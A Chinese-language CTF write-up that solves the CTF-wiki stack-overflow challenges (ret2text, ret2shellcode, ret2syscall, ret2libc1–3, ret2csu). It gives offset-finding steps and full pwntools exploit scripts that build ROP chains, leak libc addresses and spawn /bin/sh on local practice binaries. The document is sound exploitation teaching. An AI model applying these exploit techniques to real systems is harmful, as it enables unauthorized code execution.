题目文件下载链接:ctf-wiki/ctf-challenges · GitHub


ret2text

题目链接:ret2text

分析程序:

CTFwiki_ret2text1.png

CTFwiki_ret2text2.png

get() 函数存在栈溢出

查看字符串,发现 "/bin/sh",在函数 secure() 中直接有构造好的 system("/bin/sh")

CTFwiki_ret2text3.png

CTFwiki_ret2text4.png

方法有两种:

  1. 可以直接绕过 if 语句跳转到地址 0x0804863A 执行 system("/bin/sh")(脚本一)
  2. 通过 gets() 溢出跳转到 secure() 函数,绕过伪随机数,使 input 满足 if(input == secretcode) 条件(脚本二)

确定溢出的偏移量
这里直接通过 IDA 看到的偏移量是不对的:(IDA 中需要填充 0x64 + 0x4)

CTFwiki_ret2text5.png

使用 GDB 调试一下:

  1. 首先生成 200 个随机字符序列:cyclic 200
  2. 开始调试程序: gdb ret2text
  3. 直接运行程序,到达输入的位置:r
  4. 输入刚刚生成的 200 个随机字符序列,发现 *EIP 0x62616164 ('daab')Invalid address 0x62616164,说明我们输入的字符覆盖了 EIP,即字符 “daab”
  5. 计算偏移量:cyclic -l 0x62616164
  6. 发现偏移了 112 字节,即:0x6c + 0x4,并不是 IDA 中的 0x64 + 0x4

注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准

CTFwiki_ret2text6.png


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2text")  # 程序在Linux的路径

system_bin_sh_addr = 0x0804863A

payload = b'a' * 112 + p32(system_bin_sh_addr)
io.sendlineafter("There is something amazing here, do you know anything?\n", payload)

io.interactive()  # 与远程交互

CTFwiki_ret2text7.png


脚本二

from pwn import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2text")  # 程序在Linux的路径

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2text")

payload = b'a' * 112 + p32(elf.symbols['secure'])
io.sendlineafter("There is something amazing here, do you know anything?\n", payload)

lib = cdll.LoadLibrary("libc.so.6")
lib.srand(lib.time(0))
num = lib.rand()
io.sendline(str(num))

io.interactive()  # 与远程交互

CTFwiki_ret2text8.png


ret2shellcode

题目链接:ret2shellcode

分析程序:

CTFwiki_ret2shellcode1.png

CTFwiki_ret2shellcode2.png

gets() 存在栈溢出,同时将输入 s 复制到 buf2buf2 存储在 bss 段上

CTFwiki_ret2shellcode3.png

查看 bss 段执行权限
gdb 打开后,先 b main 下断点,然后 r 执行
使用 vmmap 查看
发现 buf2 所在的 bss 段地址具有可执行权限

直接写入 shellcode 并执行触发即可 (注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)


脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2shellcode")  # 程序在Linux的路径

shellcode = asm(shellcraft.sh())
bin_sh_addr = 0x804A080
payload = shellcode.ljust(112, b'a') + p32(bin_sh_addr)

io.sendlineafter("No system for you this time !!!\n", payload)

io.interactive()

ret2syscall

题目链接:ret2syscall

分析程序:

CTFwiki_ret2syscall1.png

CTFwiki_ret2syscall2.png

get() 存在栈溢出

由于是 32 位程序,用 ROPgadget 搜索 int

CTFwiki_ret2syscall3.png

发现存在 “int 0x80“,同时存在 “/bin/sh

CTFwiki_ret2syscall4.png

查看寄存器是否满足要求:

CTFwiki_ret2syscall5.png

CTFwiki_ret2syscall6.png

可以凑齐对 eaxebxecxedx 的控制

确定偏移量:

CTFwiki_ret2syscall7.png

编写 shellcode 执行 execve("/bin/sh", NULL, NULL) (注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)


脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2syscall")  # 程序在Linux的路径

pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
int_0x80_addr = 0x08049421
bin_sh_addr = 0x080be408
payload = b'a' * 112 + p32(pop_eax_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr)
payload += p32(int_0x80_addr)
io.sendlineafter("What do you plan to do?\n", payload)

io.interactive()

image.png


ret2libc1

题目链接:ret2libc1

分析程序:

CTFwiki-ret2libc1 1.png

CTFwiki-ret2libc1 2.png

get() 可以溢出

发现有后门函数:

CTFwiki-ret2libc1 3.png

与 ret2text 那道题类似,但这里 system() 的参数不是 “/bin/sh
发现程序里是有 “/bin/sh“ 的:

CTFwiki-ret2libc1 4.png

所以思路就是控制 system() 的参数为 “/bin/sh(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1")  # 程序在Linux的路径

bin_sh_addr = 0x08048720
call_system_addr = 0x08048611

payload = b'a' * 112 + p32(call_system_addr) + p32(bin_sh_addr)
io.sendlineafter("RET2LIBC >_<\n", payload)

io.interactive()

脚本二

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1")  # 程序在Linux的路径

bin_sh_addr = 0x08048720
elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc1")
system_plt_addr = elf.plt['system']

payload = b'a' * 112 + p32(system_plt_addr) + b'aaaa' + p32(bin_sh_addr)
io.sendlineafter("RET2LIBC >_<\n", payload)

io.interactive()

CTFwiki-ret2libc1 5.png


ret2libc2

题目链接:ret2libc2

分析程序:

CTFwiki-ret2libc2 1.png

CTFwiki-ret2libc2 2.png

get() 存在栈溢出

仍然存在后门函数:

CTFwiki-ret2libc2 3.png

但是这次没有 “/bin/sh

CTFwiki-ret2libc2 4.png

考虑先通过溢出执行 gets() 函数,向 bss 段上写入 “/bin/sh“,然后再执行 system() 来调用

gets() 的参数存放在 ebx

CTFwiki-ret2libc2 5.png

CTFwiki-ret2libc2 6.png

(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)


脚本一

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")  # 程序在Linux的路径

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")
gets_plt_addr = elf.plt['gets']
call_system_addr = 0x08048641
bss_addr = 0x804a080
pop_ebx_addr = 0x0804843d
payload = b'a' * 112 + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
payload += p32(call_system_addr) + p32(bss_addr)
io.sendlineafter("What do you think ?", payload)
io.sendline(b'/bin/sh')
io.interactive()

脚本二

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")  # 程序在Linux的路径

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc2")
gets_plt_addr = elf.plt['gets']
system_plt_addr = elf.plt['system']
bss_addr = 0x804a080
pop_ebx_addr = 0x0804843d
payload = b'a' * 112 + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
payload += p32(system_plt_addr) + b'aaaa' + p32(bss_addr)
io.sendlineafter("What do you think ?", payload)
io.sendline(b'/bin/sh')
io.interactive()

CTFwiki-ret2libc2 7.png


ret2libc3

题目链接:ret2libc3

分析程序:

CTFwiki-ret2libc3 1.png

CTFwiki-ret2libc3 2.png

还是有后门函数,但是给的是 puts() 不是 system(),在 IDA 发现程序没有给出 system() 函数

CTFwiki-ret2libc3 3.png

同样也没有 “/bin/sh

CTFwiki-ret2libc3 4.png

考虑先通过 puts() 函数来泄露一个函数的真实地址(我这里以泄露 __libc_start_main 为例)
然后使用 libc 来得到 system() 函数和 “/bin/sh“ 的地址

(注意这里通过 gdb 调试的溢出值是 112,也和 IDA 不同,以 gdb 的调试结果为准)

注意:
如果你是按照网上的教程通过 git 安装的 LibcSearcher,脚本可能会报错 “libcsearcher No matched libc, please add more libc or try others“,详见 《Ubuntu22.04虚拟机环境搭建》 中 安装 LibcSearcher 一节


脚本

from pwn import *
from LibcSearcher import LibcSearcher

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2libc3")  # 程序在Linux的路径

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2libc3")
main_addr = elf.symbols['main']
puts_plt_addr = elf.plt['puts']
libc_start_main_got_addr = elf.got['__libc_start_main']

payload = b'a' * 112 + p32(puts_plt_addr) + p32(main_addr) + p32(libc_start_main_got_addr)
io.sendlineafter("Can you find it !?", payload)
libc_start_main_addr = u32(io.recv(4))

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload = b'a' * 104 + p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
io.recvuntil('Can you find it !?')
io.sendline(payload)
io.interactive()

CTFwiki-ret2libc3 5.png


ret2csu

题目链接:ret2csu
libc 文件:ret2csu - libc.so.6 ret2csu - libc.so

分析程序:

CTFwiki-ret2csu1.png

CTFwiki-ret2csu2.png

vulnerable_function() 中可以溢出:

CTFwiki-ret2csu3.png

并且这一次是什么都没有:

CTFwiki-ret2csu4.png

找到 __libc_csu_init 函数

CTFwiki-ret2csu5.png

确定两段 gadget 的地址:

CTFwiki-ret2csu6.png

开始利用 ret2csu 构造

这个题 libc 版本有点坑,使用 LibcSearcher 找到的 libc 很多都打不通,包括 hitcon-level5 中给出的 libc.so.6

最后用 Ubuntu 22.04 自带的 libc 打通

另外,这个题构造 system("/bin/sh") 无法 get shell,但是通过系统调用 execve("/bin/sh", 0, 0) 可以,应该是环境变量的问题


另外,如果使用的是旧版本的 Ubuntu 16.04 环境

例如,libc 版本为 2.23,ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23

CTFwiki-ret2csu8.png

可以指定程序的 libc 为题目给出的 libc,这样不用 Ubuntu 16.04 自带的 libc 也是可以打通的 (当然自带的 libc 也可以打通)

from pwn import *
# from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息

io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2csu", env={"LD_PRELOAD":'./libc.so.6'})  # 程序在Linux的路径, 指定 libc 为题目给的 libc

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2csu")

# 使用 Ubuntu 16.04 自带的 libc
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
libc = ELF("./libc.so.6")

如图:

CTFwiki-ret2csu9.png


脚本

from pwn import *
# from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息

io = process("/home/wyy/桌面/PWN/CTF-wiki/ret2csu")  # 程序在Linux的路径

elf = ELF("/home/wyy/桌面/PWN/CTF-wiki/ret2csu")

# 使用 Ubuntu 22.04 自带的 libc
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") 

write_got_addr = elf.got['write']
read_got_addr = elf.got['read']
main_addr = elf.symbols['main']
gadget1_addr = 0x4011DE
gadget2_addr = 0x4011C8

# 第一次 csu 泄露 read 函数的真实地址, 然后回到 main
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(write_got_addr) + p64(1) + p64(read_got_addr) + p64(8)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)

# 记录 read 函数的真实地址
read_addr = u64(io.recv(8))
print(hex(read_addr))

# 根据 read 函数真实地址在 libc 中的偏移计算 execve 函数的真实地址
libcbase = read_addr - libc.symbols['read']
execve_addr = libcbase + libc.symbols['execve']

# 获取 bss 段地址, 在此写入 execve 函数地址和 '/bin/sh'
bss_addr = elf.bss()
print(hex(bss_addr))

# 第二次 csu 调用 read 函数向 bss 段写入
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(read_got_addr) + p64(0) + p64(bss_addr) + p64(16)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)

# 将 execve 函数地址和 '/bin/sh' 写入 bss 段
io.send(p64(execve_addr) + b'/bin/sh\x00')  # 一次写入,写成两次 io.send 就错了

# 第三次 csu 执行 bss_addr 处的 execve 函数,将 bss_addr + 8 处的 '/bin/sh' 作为参数
# 执行 execve("/bin/sh", 0, 0)
payload = b'a' * (0x80 + 0x8) + p64(gadget1_addr) + p64(0)
payload += p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0)
payload += p64(gadget2_addr)
payload += b'a' * 0x38
payload += p64(main_addr)
io.sendlineafter("Hello, World\n", payload)


io.interactive()

CTFwiki-ret2csu7.png